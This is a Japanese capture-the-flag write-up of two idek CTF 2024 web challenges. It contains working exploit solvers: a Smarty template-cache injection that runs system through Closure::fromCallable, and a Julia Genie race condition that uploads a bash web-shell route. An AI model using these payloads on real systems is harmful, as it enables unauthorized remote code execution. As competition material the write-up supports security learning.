Idek ctf 2024 web writeup (follow up)
untitled-smarty-challenge (434 pts 13/1070 クリア率1.2%)
?page=<ファイル名>
というクエリパラメータで、ファイルを読み込んでくれるサイト。Smartyというテンプレートエンジンを利用して、ファイルを読み込んでくれる。
<?php
require 'vendor/autoload.php';
use Smarty\Smarty;
$smarty = new Smarty();
if (isset($_GET['page']) && gettype($_GET['page']) === 'string') {
$file_path = "file://" . getcwd() . "/pages/" . $_GET['page'];
$smarty->display($file_path);
} else {
header('Location: /?page=home');
};
?>
ルートディレクトリ内に/flag-<ランダムな12桁の16進数>.txt
というファイルがあるので、それを読み取ることが目的となる。
サイトは、自明なディレクトリトラバーサルの脆弱性があるが、phpのopen_basedir
という設定により、/app
下のファイル以外が読み込めないようになっている。また、どちらにせよファイル名がわからないので、LFIではなくRCEを行いたい。
open_basedir = "/app"
流れとしては、悪意のあるファイルのアップロード→ファイルをSmartyに読み込ませてRCEとなる。
✅ Step 1: テンプレートのアップロード
ファイルを直接アップロードする機能はないため、/app
内に面白いファイルが設置or生成されないか観察した。
結果、Smartyでファイルを読み込むと、/app/template_c
というディレクトリ内に、キャッシュが生成されることがわかった。このキャッシュの中にSmartyの文法で任意コードを実行できるような文字列を埋め込むことはできないだろうか。
ファイルへのパスの処理を読むとA/X/../B
といったパスはA/B
に簡略化されるが、Xというディレクトリが存在するかどうかはチェックしないことがわかった。したがって、ディレクトリの名前の箇所にコードを埋め込み、../
を後に追加することによってそのディレクトリが読み込まれないようにできる。
したがって以下のようなパスを用いてファイルを読み込むと、攻撃コードを含んだキャッシュが生成される。
'../{<攻撃コード>}/../pages/about'
次に、生成されるファイルのファイル名を予測する必要があるが、これはファイル名の生成アルゴリズムを逆算すればOK。詳細は省くが、以下のような結果になった。
cwd = '/app'
target_file = '../{<攻撃コード>}/../pages/about'
filehash = hashlib.sha1(f"//{cwd}/pages/{target_file}{cwd}/templates/".encode())
template_c_file = filehash.hexdigest() + "_0.file_" + target_file.split("/")[-1] + ".php"
template_c_file_path = "../templates_c/" + template_c_file
Step 2: 攻撃コードの特定
あとは、テンプレートエンジンの仕様を見ながら、任意コード実行ができるsystem
関数にアクセスできればいいが、ここでつまずいてしまった。HacktricksやPayloadsAllTheThingsの情報はSmartyバージョン3以前のものが多く、問題のバージョン5では対策されてしまっているものしかない。
例えば、{system("ls")}
や{$a=system("ls")}
といったペイロードは、system
という単語がmodifiersのキーワードとして扱われてしまい、実行できない。
ただし、クラスの静的メソッドは実行できるという(なんとも脆弱な)仕様があった。Closure::fromCallableという静的メソッドを使うことによって、system
をクロージャー化(無名関数化)し、それを呼ぶといったことができる。
以上を踏まえて以下のソルバーでフラグが入手できる。
import hashlib
import requests
from urllib.parse import quote
URL = "https://smarty-challenge-33d3909bf33168ff.instancer.idek.team/"
# URL = "http://localhost:1337/"
cwd = '/app'
target_file = '../{Closure::fromCallable(system)->__invoke("cat /flag-*")}/../../pages/about'
w1 = requests.get(URL + "?page=" +quote(target_file))
print(w1.status_code)
print(w1.text)
filehash = hashlib.sha1(f"//{cwd}/pages/{target_file}{cwd}/templates/".encode())
template_c_file = filehash.hexdigest() + "_0.file_" + target_file.split("/")[-1] + ".php"
template_c_file_path = "../templates_c/" + template_c_file
w2 = requests.get(URL + "?page=" + template_c_file_path)
print(w2.status_code)
print(w2.text)
反省点
- ドキュメントはちゃんと読もう...なぜ気が付かなかったし...
- 見逃したの良いとして、もっといろんなペイロードを試したほうが良かった。特に
::
が含まれるだけどバグでmodifierとして認識されない可能性もあったわけで。 - 静的メソッドが読み込めると気づいたところで、php力が足りなくて
Closure::fromCallable
までたどり着けたかどうかは微妙。php力一生足りない問題。
includeme (477 pts 5/1070 クリア率0.47%)
juliaのGenieというフレームワークが起動している。/?page=<ファイル名>
とすると、そのファイルをjuliaのファイルとして評価した上で、その結果を表示してくれる。
using Genie, Genie.Requests, Pkg
Pkg.activate(".")
index() = include(params(:page, "example.jl"))
route("/", index)
up(1337, "0.0.0.0", async = false)
このファイルもディレクトリトラバーサルが可能であり、特にGenieのインストールされたディレクトリの好きなファイルを読み込むことができる。面白いファイルがないか探したが、うまく見つけることができなかった。
正解は以下のファイル(いや見つけんのにどんだけ時間かかんねん)
using Pkg
Pkg.activate(".")
using Genie, Genie.Router, Genie.Renderer, Genie.Renderer.Html
form = """
snap
"""
route("/") do
html(form)
end
route("/", method = POST) do
for (name,file) in params(:FILES)
write(file.name, IOBuffer(file.data))
end
write("-" * params(:FILES)["fileupload"].name, IOBuffer(params(:FILES)["fileupload"].data))
@show params(:greeting)
params(:greeting)
end
Genie.Server.up(; open_browser = false, async = false)
このファイルを読み込んだ上で/
でPOSTを行うと、任意のファイルをアップロードできるようになる。ただし、/
のGETが置き換わってしまう。
そこで以下のようなrace conditionを利用して、/
のGETを元に戻そう。
-
test.jl
の読み込みが始まる。 -
app.jl
の読み込みが始まる。 -
/
のGETとPOSTがtest.jl
のものにおきかわる。 -
/
のGETがapp.jl
のものにおきかわる。(POSTはtest.jl
のまま)
evil.jl
をアップロードして、/?page=evli.jl
とすることで任意コード実行可能なエントリポイントを追加する。
以下のソルバーでフラグを入手できる
from concurrent.futures import ThreadPoolExecutor
import sys
import requests
import time
URL = "https://includeme-86afe80f38253bb3.instancer.idek.team/"
# URL = "http://52.194.97.135:1337/"
s = requests.session()
data = {}
def send(page,delay=0):
time.sleep(delay)
return s.get(URL, params={
"page": page
})
# 最初のリクエストを送らないとrace conditionが安定しない
send("example.jl")
with ThreadPoolExecutor(max_workers=6) as executor:
rs = [
executor.submit(send, "app.jl", 0),
executor.submit(send, "app.jl", 0.001),
executor.submit(send, "/home/ctf/.julia/packages/Genie/yQwwj/test/fileuploads/test.jl", 0.002),
executor.submit(send, "app.jl", 0.002),
executor.submit(send, "app.jl", 0.003),
executor.submit(send, "app.jl", 0.004),
]
executor.shutdown()
for r in rs:
res = r.result()
print(res.url)
print(res.text)
if send("example.jl").text != 'hello world!':
print("race failed")
sys.exit(0)
r = s.post(URL, params={
"greeting": "hi"
},files={
"fileupload": ("evil.jl", open("evil.jl", "r"), "text/plain")
})
send("evil.jl")
r = s.get(URL + "shell", params={
"script": "cat flag.txt"
})
print(r.text)
using Genie, Genie.Requests, Pkg
Pkg.activate(".")
route("/shell") do
script = params(:script)
read(`bash -c "$script"`, String)
end
up(1337, "0.0.0.0", async = false)
Discussion